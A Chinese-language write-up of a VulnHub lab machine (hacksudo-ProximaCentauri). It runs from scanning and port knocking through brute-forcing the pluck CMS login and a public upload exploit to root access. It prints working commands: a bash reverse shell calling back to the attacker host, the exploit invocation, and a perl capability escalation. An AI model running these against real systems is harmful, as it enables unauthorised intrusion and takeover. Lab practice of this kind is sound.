一、介绍
运行环境：Virtualbox
攻击机：kali（10.0.2.15）
靶机：hacksudo-ProximaCentauri（10.0.2.51）
目标：获取靶机root权限和flag
靶机下载地址：https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/
二、信息收集
使用nmap主机发现靶机ip：10.0.2.51
使用nmap端口扫描发现，靶机开放端口：22、80
打开网站未发现可利用的功能点，查看源码也没有发现隐藏信息
使用gobuster和dirsearch工具进行目录爆破
gobuster dir -u http://10.0.2.51 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtdirsearch -u http://10.0.2.51 /usr/share/wordlists/dirb/big.txt
发现login.php、flag1.txt、README.md、/planet/
login.php是一个登录页面，发现网站框架为pluck 4.7.13
查看flag1.txt
README.md文件存在链接，访问可以查看到cms源码
访问目录/planet/travel/，查看源码发现隐藏信息
here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal…get co-ordinate from https://g.co/kgs/F9Lb6b
翻译：在这里您可以打开门户并前往比邻星，坐标是？RA 表示打开，Dec 表示关闭 proxima blackwhole 门户…从 https://g.co/kgs/F9Lb6b 获取坐标
应该要使用提供的链接搜索比邻星的坐标，但网站打不开，需要科学上网，有条件的可以自己搜索看看，我这边就使用其他大佬wp搜索出来的数据
RA 14h 29m 43s | Dec –60° 40′ 46′′
那么14、29、43是端口敲门的三个端口：
端口敲门服务，即：knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务，使用自定义的一系列序列号来“敲门”，使系统开启需要访问的服务端口，才能对外访问。不使用时，再使用自定义的序列号来“关门”，将端口关闭，不对外监听。进一步提升了服务和系统的安全性。
knock 10.0.2.51 14 29 43
再次扫描端口，发现22端口已经开放了
尝试连接ssh，发现一个链接
浏览器访问，发现列表，应该是一个密码字典
三、漏洞利用
使用提供的密码字典对网站的登录页面进行爆破，爆破成功发现密码：hacktheplanet
登录网站
使用searchsploit工具搜索pluck 4.7.13的历史漏洞
发现一个上传文件命令执行漏洞，下载exp，利用获取shell
python 49909.py 10.0.2.51 80 hacktheplanet /
访问http://10.0.2.51:80//files/shell.phar
反弹shell
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
使用命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件，没有发现可利用的文件
翻一翻靶机各个文件，发现/var/backups目录具有读权限的数据库备份文件
查看该文件发现数据库的用户名密码：alfauser:passw0rd
使用数据库用户名密码登录数据库
mysql -u alfauser -p
发现一组用户名密码：proxima:alfacentauri123
使用发现的用户名密码，切换为proxima用户
没有 sudo，也没有可利用的 SUID 文件，使用命令查看getcap -r / 2>/dev/null查看是否有可利用的可执行的文件，发现perl文件
使用perl文件进行提权
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
获取flag
参考链接：https://www.cnblogs.com/sainet/p/15805892.html
